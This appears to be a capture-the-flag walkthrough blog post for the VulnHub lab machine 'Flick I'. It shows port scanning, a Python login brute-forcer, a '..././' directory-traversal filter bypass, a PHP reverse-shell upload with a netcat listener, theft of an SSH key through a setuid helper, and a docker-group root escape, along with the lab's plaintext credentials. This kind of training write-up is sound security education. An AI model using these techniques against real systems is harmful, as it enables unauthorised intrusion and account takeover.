Hello everyone! Welcome all of my viewers, to this brand-new VulnHub Walkthrough Article. In today's Article, we will be dealing with a vulnerable machine,
categorized as "Medium" in terms of difficulty.
The subject of our exploration is a machine named
"Flick I," which is a component of the “Flick” series. To begin with,
you'll need to download the vulnerable image from the VulnHub website.
If
you're not familiar with VulnHub yet, feel free to check out This Link:
Vulhub is a collection of pre-built vulnerable docker environments that are designed for learning and practicing security testing. It provides various intentionally vulnerable web applications and services for hands-on security training.
Setting Up
After successfully obtaining the image, the next step
involves setting up the server within VirtualBox, which is a fairly straightforward
procedure.
Before getting started, you need to extract the downloaded
file, as it isn't in the ".ova" format. You can accomplish this using the WinRAR
application.
Upon extraction, you'll have a ".ova" file that can be easily
imported into VirtualBox.
First, Launch VirtualBox, and then go to the "File" menu, and select "Import
Appliance".
Import the downloaded OVA file by browsing your computer to locate
the download file and click "Next."
Review the appliance details
and settings. You can keep the default settings or make adjustments based on
your needs.
Click "Finish" to begin importing.
Once the import is complete, you'll find the "Flick I" vulnerable machine listed in the VirtualBox Manager.
Select the
virtual machine, click on "Settings," and change the network adapter
to "Host-only adapter."
Make sure that both your Kali Linux Machine, which is used
for performing attacks, and your vulnerable machine must be connected to the
same network.
Once the setup is done, it's time to start the Virtual
Machines.
You'll notice that our Vulnerable Machine is all set, and we now have
a login prompt waiting for us.
Let's dive into the fun!
Enumeration
Enumeration is the first process of our attack, aimed at
identifying the IP Address of our Target Machine using Net Discover.
To do
this, open a terminal, and run the following command:
┌──(kali㉿kali)-[~]
└─$ sudo netdiscover -i eth1
Currently scanning: 192.168.106.0/16 | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
From the scan result, we have obtained our target IP
address, which is, "192.168.95.117".
Next, we perform a network scan to detect what ports are
open.
Network Scanning with Nmap
Scanning the Network is an essential part of the enumeration process. This allows us to understand the attack surface and plan targeted attacks. For
this purpose, we'll use the popular Nmap tool. Use the following command on the terminal:
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV 192.168.95.117
Where,
-sC is used to perform a script scan
using the default set of scripts, and
-sV is used to enable version
detection, which will detect, what versions are running on what
port.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-09 10:29 EDT
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.58 seconds
After conducting the network scan, we spotted the
presence of one open port, specifically,
The Port 22/TCP, running an SSH service,
indicates that, if we possess valid credentials, gaining access to the server
will be a straightforward process.
However, since we lack both a username and password, our next
step involves revisiting the network scan. We'll perform an extensive scan
covering all open ports.
┌──(kali㉿kali)-[~]
└─$ nmap -A -p- 192.168.95.117
Where,
-A determines the target's OS, identifies
service versions on open ports, and runs predefined scripts for advanced
scanning tasks.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-09 10:30 EDT
| Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
| DNSVersionBindReqTCP:
| Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
| version
| bind
| FourOhFourRequest:
| Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
| /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0
| GetRequest:
| Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
| HTTP/1.0
| HTTPOptions:
| Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
| OPTIONS / HTTP/1.0
| RTSPRequest:
| Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
|_ OPTIONS / RTSP/1.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 175.44 seconds
Enumerating Unknown TCP Port 8881 (Galaxy4d)
Upon revisiting the network scan, we've uncovered another
open port, specifically,
Port 8881/TCP. This port is hosting an unfamiliar service
named "Galaxy4d?" This discovery has the potential to provide us with
access to the vulnerable server's network.
Upon further examination of the Nmap script, it appears that
this service might involve an admin server that prompts for a password.
| Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
| DNSVersionBindReqTCP:
| Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
| version
| bind
| FourOhFourRequest:
| Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
| /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0
| GetRequest:
| Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
| HTTP/1.0
| HTTPOptions:
| Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
| OPTIONS / HTTP/1.0
| RTSPRequest:
| Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
|_ OPTIONS / RTSP/1.0
Our
strategy involves attempting to access this service, and we can make use of
tools like Netcat to make this connection easier.
On a new terminal, type the following command:
┌──(kali㉿kali)-[~]
└─$ nc 192.168.95.117 8881
Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
>
As we already guessed, it prompts us to input a password to access the new world
of "flick". Let’s try to guess some common passwords, but
unfortunately, they don't work.
Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
> pass
OK: pass
> password
OK: password
>
Now, let's focus on retrieving the password. After analyzing the network scan results, we discovered another unidentified piece of data.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Upon a successful connection attempt, a block of hexadecimal
data will be provided. This block appears to contain additional information
about the server's fingerprint.
Extracting OS Fingerprint with CyberChef
We can simplify the complex hexadecimal data using a tool
like CyberChef to decode and understand its content.
CyberChef is a powerful web application for encrypting, decrypting, and analyzing data. It provides a wide range of cryptographic, encoding, and data manipulation tools, making it a valuable asset for cybersecurity professionals and enthusiasts.
To do this, visit CyberChef, and follow these steps:
Paste the Hexadecimal value into the input section.
Search for "Hex" on the search bar in the operations
section, and then drag and drop the "From hex" operation into the
recipe section.
This will automatically decode the hexadecimal value.
After decoding, I realized that the result was in the form of
base64 encoding.
Let’s decode it.
To decode it, copy the output and paste it
into the input section again.
Search for the "base64" operation in
CyberChef, then drag the "From base64" operation into the recipe
section.
This will decode the base64-encoded data.
However, upon analyzing the output, I noticed that the
decoded data is still in base64 format.
It appears that the creator of this
vulnerable machine might have purposely confused us by repeatedly encoding the
text.
Let's copy the output and paste it into the input section
again, repeating the process until we find the correct text.
After attempting multiple times, I believe I've finally
identified the accurate data on my 17th attempt.
Or, You can also generate a Python code to do the same thing. In a
new terminal, create a new Python file named, "base64decoder.py" using the "nano" text editor.
┌──(kali㉿kali)-[~]
└─$ nano base64decoder.py
import base64
data = 'Your_base64_encoded_data_here' # Replace this with your actual base64 encoded data
decoded = True
while decoded:
try:
print(data)
data = base64.b64decode(data)
except:
decoded = False
Copy and paste the provided lines of code on my blog into
this "base64decoder.py" file.
This code is like a set of instructions
for your computer. This Python program is designed to uncover hidden content
from base64 encoded text. It does this by repeatedly decoding the text.
Change the data with base64 encoded data and Paste it to the nano text editor.
Now, save your changes by
pressing "CTRL + X" and confirming.
To make the program work, type python3, mention the
program name in the terminal, and hit Enter.
┌──(kali㉿kali)-[~]
└─$ python3 base64decoder.py
The program will start decoding the
text step by step, like opening nested envelopes. After a number of iterations, the program will reveal the
original hidden message in the 17th position.
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Flick-a-Photo
|_http-server-header: Apache/2.2.22 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.65 seconds
┌──(kali㉿kali)-[~]
└─$
Web Enumeration
After scanning the network again, we have identified a fresh
accessible port.
The port 80/TCPis active, indicating an HTTP service is
operational. This suggests that a website with potential vulnerabilities is
being hosted.
Now, let's explore the website content on Port 80. To do
this, you can use a web browser of your preference and enter the target's IP
address in the URL bar at the top of the browser window.
Upon visiting the website, we discover a collection of cat
pictures. Let’s examine one of the cat images.
If you pay attention to the URL
structure, you'll notice the image's location after the IP address.
Let's
explore if we can access different paths using the URL.
I'll remove the image ID from the URL segments.
Oh no!
Something didn't work as expected.
Let's try removing the "view"
segment instead, and we find ourselves encountering an "Index of
/image".
Regrettably, we're unable to access any of the directories. After investigating the website, I discovered a
"Login" button that seems to offer access to the server.
Let me click
on "Login to add a photo," which brought up a form requesting, a
username and password.
Notably, a hint was provided on the side. This implies
that the username, "demo" and the password are assigned to the first user.
Let’s try it.
However, my attempt to log in using these credentials was
unsuccessful, resulting, in "The combination of username and password is
incorrect."
Login Credentials Retrieval through Bruteforcing
Let’s try to brute-force the login form using Hydra.
Before that, I needed to intercept the data exchanged during
a login attempt made with the "demo" username and password. I
utilized BurpSuite for this purpose.
Launch BurpSuite, and Turn on the Proxy
through Foxy Proxy:
Enable interception within the Proxy tab of the
BurpSuite program:
This enabled me to capture and analyze the login data.
To perform a brute-force attack on the login form, we
require specific login data: the cookie, username, and password data obtained
through the interception process in Burp Suite.
Let's refresh the URL, causing it to trigger Burp Suite. Subsequently, the data should be sent to interception mode.
This information is crucial for
carrying out the attack effectively.
Now, Open a new terminal and run the following command:
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-09 11:54:28
[DATA] max 16 tasks per 1 server, overall 16 tasks, 220559 login tries (l:1/p:220559), ~13785 tries per task
1 of 1 target successfully completed, 16 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-09 11:54:32
┌──(kali㉿kali)-[~]
└─$
However, I encountered an issue during this process. Hydra
was successfully following the 302 redirects, but it wasn't keeping the session
cookie. Consequently, every login attempt was falsely recognized as successful
since the failure message wasn't present on the redirected page.
To solve this issue, I created a Python program.
import requests
lines = tuple(open('your_wordlist.txt', 'r'))
for line in lines:
r = requests.post('your_target_url_here', data={
"username": "demo",
"password": "demo%s" % line.strip()
}, allow_redirects=False)
if 'location' in r.headers and r.headers['location'] != 'your_login_page_url_here':
print("Password: demo%s" % line.strip())
break
This
program utilizes the "requests" library, allowing it to send HTTP
requests to web servers.
Then, the program reads through a wordlist line by line and
constructs a POST request to the URL.
It supplies form data containing a
username ("demo") and combines "demo" with the current word
from the list to form the password.
The parameter "allow_redirects"
is set to False to prevent automatic redirection after the request.
The server
communication method is set to POST.
The program then examines the "location" header in
the HTTP response.
This header usually contains the URL to which the server is
directing.
If the "location" header isn't the same, it signifies that
the login attempt was successful.
The program prints the guessed password,
(which is "demo" followed by the current word from the list), and
concludes the loop using the break statement.
After saving the program, it can be executed using the
"python3" command.
┌──(kali㉿kali)-[~]
└─$ python3 bruteforce.py
Upon execution, the program systematically goes
through the wordlist, attempting logins, until it successfully finds the
correct password.
Password: demo123
┌──(kali㉿kali)-[~]
└─$
We have successfully obtained the password using the Python
program. Now, let's attempt to log in again.
Once logged in, I noticed that each image has a 'Download'
link. Upon clicking on a link, initiates the download of the image.
If you
closely examine the URL format for downloading, you might realize that it
appears susceptible to Local File Inclusion (LFI).
To explore this, I copied the download link and opened it in a new browser tab.
I decided to test LFI by
inserting an arbitrary path into the 'filename' parameter.
However, this resulted in an error, indicating that the file
to download was invalid. I then attempted directory traversal.
All these requests yielded the same response: Oops! Looks
like you requested an invalid file to download!
/etc/passwd is not valid.
It became clear that the system was removing instances of
the string '../' from the 'filename' parameter. Instead of attempting
to navigate to higher directories, I decided to retrieve the source code for
files in the current directory.
For this purpose, I used Burp Suite to
intercept the content and analyze the changes that occurred during the LFI
testing.
Let's refresh the URL, causing it to trigger Burp Suite.
Subsequently, the data should be sent to interception mode and from here send that data to the repeater.
Let me add "./index.php" in Burpsuite Repeater to look at the changes.
This approach provided me with the source code for the 'index.php'
file in the web root, confirming that the framework in use is Laravel.
Comprehensive Web Path Enumeration in Laravel Application
If you have read this article, then you will know the basic
directories in the Laravel web framework, if you have not yet read it, kindly read
it before proceeding further.
This guide explores how to effectively manage and use web paths in Laravel, a popular PHP framework. Understanding web paths is essential for building clean, maintainable, and efficient web applications using Laravel.
Given my familiarity with Laravel's directory structure from
the article, I recalled that the web root for Laravel applications is within a
directory called '/public'. All application logic exists in directories above
this one.
With the URL path now altered, the next step is sending the
data.
However, upon inspecting the response, it becomes evident that the
requested data is deemed invalid.
After a bit of thinking, I realized that if the system was
simply replacing the '../' string, I could potentially exploit this
behavior. I aimed to include '../' in the output by crafting a string with '..././'. This way, when the '../' was replaced, it
would leave '../' within the string. Depending on how the replacement
was implemented, this could enable directory traversal and arbitrary file
inclusion.
To test this, I requested the following URL on Burpsuite.
..././public/index.php
I confirmed
that the content matched what I had previously retrieved when using './index.php'
as the filename.
This successful test verified my assumption, and I achieved the
same file inclusion result.
/composer.json
In the Laravel project, there's a vital file named
"/composer.json" situated in the same directory as the public
directory.
This file contains essential information regarding the project's
dependencies and configurations needed for Composer to work effectively.
Upon
quick examination, I determined that the running version of the Laravel
Framework is 4.1.
Focusing on the "autoload" section, this part
guides Laravel on how to automatically load classes within your application.
You don't need to manually include these classes using "require"
statements.
Under the "classmap," you'll find classes related
to various components of the application. When you use any of these classes in
your code, Laravel's autoloader will include the necessary files without you
having to explicitly state "require" statements.
As we're aware, the "/app" directory is the heart
of the Laravel application.
It contains core application elements like Controllers, Models, and Services.
In Laravel, the "/routes.php" file serves to
define your application's URL routes and link them to specific controller
methods.
This organization aids in structuring the application's functions and
logic neatly, facilitating easier management and development.
It's important to
note that in Laravel 5 or higher, route definitions are shifted to the
"/routes" directory.
/app/controllers/SessionController.php
Let’s try to attempt to access the controllers, which reside
in the "/app/controllers" directory. Alter the URL path to lead to
"SessionController.php" located within the controllers' directory.
The standout detail is the fake SQL injection (SQLI) error. However, due to a type-safe comparison against FALSE, it appears challenging to exploit.
/app/controllers/UploadController.php
We're aiming to
retrieve the contents of the "UploadController.php" initially.
Interestingly, there seems to be no restriction on the type
of file uploaded.
To test our assumption, Our test revolves around trying to upload a php-reverse-shell
directly, bypassing the 'image/download' route.
Start by clicking on "Upload a photo."
Our goal
here is to upload a PHP file that contains a reverse shell.
So, open a new
terminal to perform these steps.
First, locate the reverse-shell PHP file. Once located, copy
it to your Home directory.
┌──(kali㉿kali)-[~]
└─$ locate php-reverse-shell # Locate the reverse-shell PHP file
└─$ cp /usr/share/webshells/php/php-reverse-shell.php . # Copy to /home/kali directory
┌──(kali㉿kali)-[~]
└─$ nano php-reverse-shell # To Modify the Listening IP
Let me modify the PHP file to include my listening IP
address.
If you're unsure about your Listening IP address, you can use the
"ifconfig" command to confirm it. Next, we have to set up a listener on our machine to listen
on Port 1234.
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
Now, let me Upload the modified PHP file through the
website's upload functionality.
Upon uploading, the website will automatically
redirect you to the Home page. After uploading the PHP file, you can directly access it by
browsing its path within the 'images' directory on the website. I notice an unfamiliar file on the second page, be aware
that I can't directly open it.
So my only option is to download it. Proceed to download the file.
Upon inspection, I realize
that the downloaded file appears to be a JPEG image, but it doesn't display any
image content.
However, this file is likely the one I uploaded, as the website
automatically saved it in JPEG format. To confirm its true format, you can open a terminal from
here, and run the following command on the terminal:
┌──(kali㉿kali)-[~/Downloads]
└─$ file image\(1\).jpg
image(1).jpg: PHP script, ASCII text
This reveals
that the file is in ASCII text format and identified as a PHP script. It means I can use a text editor like "nano" to open and explore its content.
┌──(kali㉿kali)-[~/Downloads]
└─$ nano image\(1\).jpg
The process surprisingly turns out to be relatively
straightforward.
/app/controllers/ViewController.php
Let's check out the logic in ViewController.php.
After analyzing
the logic in the "ViewController," we confirm the replacement of the
'../' string in the target filename. Unfortunately, the file is read using
"file_get_contents" instead of being included. This means we can't
exploit it to execute arbitrary PHP code.
/app/controllers/HomeController.php
For a more comprehensive perspective, we delve into the
"HomeController.php" component.
Nothing noteworthy is found in these sections.
/app/config/database.php
Lastly, I explore the database configuration file.
The '/config' files define settings and options for different aspects of the web
application. Please note that these details can vary based on the version. In
Laravel 5, configuration files are stored in a separate directory, while in
Laravel 4.1, the configuration file is within the "/app" directory.
Let’s visit it.
Examining the database configuration file reveals
credentials, including an OLD SQLITE database definition.
/app/database/production.sqlite
Given the obsolescence of SQLite 2
and below on modern systems, downloading it is futile. Instead, I attempt to
acquire the database credentials online, and extract the username and password from Burp Suite,
directly from the response side.
Efforts to copy a shorter portion of the data have also met
with limited success. Although we can't directly copy the complete
text, we do have the option to copy them individually, one at a time.
robin JoofimOwEakpalv4Jijyiat5GloonTojatticEirracksIg4yijovyirtAwUjad1
james scujittyukIjwip0zicjoocAnIltAsh4Vuer4osDidsaiWipOkDunipownIrtOb5
dean FumKivcenfodErk0Chezauggyokyait5fojEpCayclEcyaj2heTwef0OlNiphAnA
After copying each credential, I gather three sets of
credentials. Now that we have the username and password, we can use them
to access the server through the SSH service.
Foothold
Now that we have three sets of usernames and passwords,
let's try to attempt to log in to the server one by one.
Open a terminal and use the SSH command with the first
username associated with the server's IP address.
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic x86_64)
* Documentation: https://help.ubuntu.com/
System information as of Wed Aug 9 22:37:12 SAST 2023
System load: 0.0 Processes: 88
Usage of /: 35.8% of 6.99GB Users logged in: 0
Memory usage: 54% IP address for eth0: 192.168.95.117
Swap usage: 0% IP address for docker0: 172.17.42.1
Graph this data and manage this system at:
https://landscape.canonical.com/
Last login: Wed Aug 9 22:30:12 2023 from 192.168.95.102
dean@flick:~$
Success! We've gained
access to the server using the third set of credentials. Now, let's try to
locate the user flag.
dean@flick:~$ ls -al
total 44
drwxr-xr-x 3 dean dean 4096 Aug 9 22:37 .
drwxr-xr-x 4 root root 4096 Aug 2 2014 ..
-rw------- 1 dean dean 388 Aug 9 22:36 .bash_history
-rw-r--r-- 1 dean dean 220 Aug 2 2014 .bash_logout
-rw-r--r-- 1 dean dean 3486 Aug 2 2014 .bashrc
drwx------ 2 dean dean 4096 Aug 2 2014 .cache
-rw-r--r-- 1 root root 1250 Aug 4 2014 message.txt
-rw-r--r-- 1 dean dean 675 Aug 2 2014 .profile
-rwsr-xr-x 1 robin robin 8987 Aug 4 2014 read_docker
dean@flick:~$
Upon checking the files and directories, I noticed that
there isn't a flag file present. However, there is a message file that seems to
contain our flag. Let’s view its contents using the "cat" command.
dean@flick:~$ cat message.txt
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Hi Dean,
I will be away on leave for the next few weeks. I have asked the admin guys to
write a quick script that will allow you to read my .dockerfile for flick-
a-photo so that you can continue working in my absense.
The .dockerfile is in my home, so the path for the script will be something like
This message seems to be like a Hint, where there is a “.dockerfile”,
which is present in the same directory. This “.dockerfile” seems to provide access
permissions to the directories owned by the user Robin. The message even
includes an example of a directory path.
Taking this hint into consideration, let's attempt to access
the mentioned file.
Successfully, we've been able to view the content within
the file. Now, let's try listing the files and directories within the user
robin using the "ls" command.
dean@flick:~$ ls -al /home/robin/
ls: cannot open directory /home/robin/: Permission denied
dean@flick:~$
Unfortunately, we lack the necessary
permissions to access the files directly. Our only option is to use the “./read_docker”.
It appears that the user "Robin" might possess elevated
privileges. Our next step is to discover a method to escalate our privileges
and switch to the user, Robin.
Exploitation
As we lack the necessary password for the user, Robin, an
alternative route is to obtain the SSH keys.
Exploiting SSH Keys for Unauthorized Acces
Within the "/.ssh" directory, there are two most important
files are present, they are:
authorized_keys
id_rsa
Let’s find a way to
take a look at these contents. To inspect their contents, we will establish symbolic
links to these files owned by the user, Robin. This is accomplished using the
"ln" command.
Let's start by linking the "authorized_keys" file
to a new file named, Dockerfile.
This file contains the private key necessary for accessing the user,
Robin. To proceed, we will copy these contents into the "id_rsa" file
in the same directory and then restrict its permissions using "chmod
+600".
dean@flick:~$ ./read_docker . > id_rsa
dean@flick:~$ ls -al id_rsa
-rw-rw-r-- 1 dean dean 1675 Aug 9 22:44 id_rsa
dean@flick:~$ chmod 600 id_rsa
dean@flick:~$ ls -al id_rsa
-rw------- 1 dean dean 1675 Aug 9 22:44 id_rsa
dean@flick:~$
With the setup complete, we can use the SSH command to log
in as the user Robin.
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic x86_64)
* Documentation: https://help.ubuntu.com/
System information as of Wed Aug 9 22:45:39 SAST 2023
System load: 0.0 Processes: 92
Usage of /: 35.8% of 6.99GB Users logged in: 1
Memory usage: 56% IP address for eth0: 192.168.95.117
Swap usage: 0% IP address for docker0: 172.17.42.1
Graph this data and manage this system at:
https://landscape.canonical.com/
Last login: Sat Aug 2 12:43:16 2014 from 192.168.56.1
robin@flick:~$
By doing so, we've successfully gained access to the
Robin user account. Our next objective is to acquire root access to
fulfill the CTF challenge.
Privilege Escalation
During the process of privilege escalation, the primary goal
is to gather information about the system and pinpoint any potential
vulnerabilities or misconfigurations that might grant us higher privileges,
ultimately leading to accessing the root level.
To start, let's perform a User Permissions Enumeration to
analyze the user's rights and privileges on the system. This can be achieved by
executing commands like "sudo -l" or "uname -a"
to determine which commands the current user can run with elevated privileges.
Let me run the “uname -a” command, to identify various
details about the machine, such as its kernel version, hostname, architecture,
processor, and operating system.
robin@flick:~$ uname -a
Linux flick 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
robin@flick:~$
Additionally, I'll examine the privileges associated with
the current user by running "sudo -l."
User robin may run the following commands on this host:
(root) NOPASSWD: /opt/start_apache/restart.sh
robin@flick:~$
Docker Container Escape Privilege Escalation
After executing this
command, I've discovered that the user "robin" possesses specific
permissions for “/opt/start_apache/reset.sh”. Unfortunately, this doesn't seem
to be a helpful route for obtaining a root shell.
Given the presence of Docker on the target machine, I'll use
the "docker ps" command to list the currently active containers.
robin@flick:~$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
robin@flick:~$
This
will provide an overview of the containers that are currently operational.
However, it appears that there are no other active
containers at the moment. To gain further insight, I'll inspect the available
Docker images that reside within the container repository.
robin@flick:~$ docker images
REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE
ubuntu 14.04 ba5877dc9bec 9.057422 years ago 192.7 MB
ubuntu trusty ba5877dc9bec 9.057422 years ago 192.7 MB
ubuntu latest ba5877dc9bec 9.057422 years ago 192.7 MB
ubuntu precise b9e56c8f2cf5 9.058712 years ago 103.9 MB
ubuntu 12.04 b9e56c8f2cf5 9.058712 years ago 103.9 MB
ubuntu 14.10 6ef6f1a66de1 9.058712 years ago 194.1 MB
ubuntu utopic 6ef6f1a66de1 9.058712 years ago 194.1 MB
ubuntu 12.10 c5881f11ded9 9.147819 years ago 172.2 MB
ubuntu quantal c5881f11ded9 9.147819 years ago 172.2 MB
ubuntu raring 463ff6be4238 9.147820 years ago 169.4 MB
ubuntu 13.04 463ff6be4238 9.147820 years ago 169.4 MB
ubuntu 13.10 195eb90b5349 9.147821 years ago 184.7 MB
ubuntu saucy 195eb90b5349 9.147821 years ago 184.7 MB
ubuntu 10.04 3db9c44f4520 9.307010 years ago 183 MB
ubuntu lucid 3db9c44f4520 9.307010 years ago 183 MB
robin@flick:~$
Notably, there are several Ubuntu images accessible within
Docker. Leveraging this discovery, I'll exploit the opportunity to attain a
root shell.
docker run -t -i -v /root:/root ubuntu /bin/bash
When we run this command, a fresh Docker container will be
established using the Ubuntu image. The container will start an interactive Bash
shell session, allowing us to work within the container as if you were working
in a regular Linux terminal. The /root directory on the host system will be
accessible within the container, allowing you to manipulate files and perform
tasks within that directory.
robin@flick:~$ docker run -t -i -v /root:/root ubuntu /bin/bash
root@108f8028ce00:/#
Following these steps, I've successfully gained root access.
I'll confirm this by using the "whoami" command to verify the
current user as, "root."
root@108f8028ce00:/# whoami
root
root@108f8028ce00:/#
Next, I'll navigate to the root directory
using the "cd" command and confirm the presence of the root flag with
the "ls" command.
root@108f8028ce00:/# cd /root
root@108f8028ce00:/root# ls -al
total 56
drwx------ 5 root root 4096 Aug 6 2014 .
drwxr-xr-x 46 root root 4096 Aug 9 20:51 ..
drwx------ 2 root root 4096 Aug 4 2014 .aptitude
-rw------- 1 root root 27 Aug 6 2014 .bash_history
-rw-r--r-- 1 root root 3106 Apr 19 2012 .bashrc
drwx------ 2 root root 4096 Aug 1 2014 .cache
-rw-r--r-- 1 root root 140 Apr 19 2012 .profile
-rw------- 1 root root 16597 Aug 5 2014 .viminfo
drwxr-xr-x 2 root root 4096 Aug 1 2014 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc
-rw-r--r-- 1 root root 67 Aug 1 2014 flag.txt
root@108f8028ce00:/root#
To view the content of the root flag, the
"cat" command can be employed.
root@108f8028ce00:/root# cat flag.txt
Errr, you are close, but this is not the flag you are looking for.
root@108f8028ce00:/root#
This is not the flag, which originally contained the flag. But, upon analyzing I find out that there is a directory on /root path, which may contain the rot flag.
root@108f8028ce00:/root# cd 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc
root@108f8028ce00:/root/53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc# ls -al
total 12
drwxr-xr-x 2 root root 4096 Aug 1 2014 .
drwx------ 5 root root 4096 Aug 6 2014 ..
-rw-r--r-- 1 root root 128 Aug 1 2014 real_flag.txt
With these actions, the CTF challenge has been successfully
completed. If you have any questions or uncertainties, feel free to leave a
comment in the designated section.
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
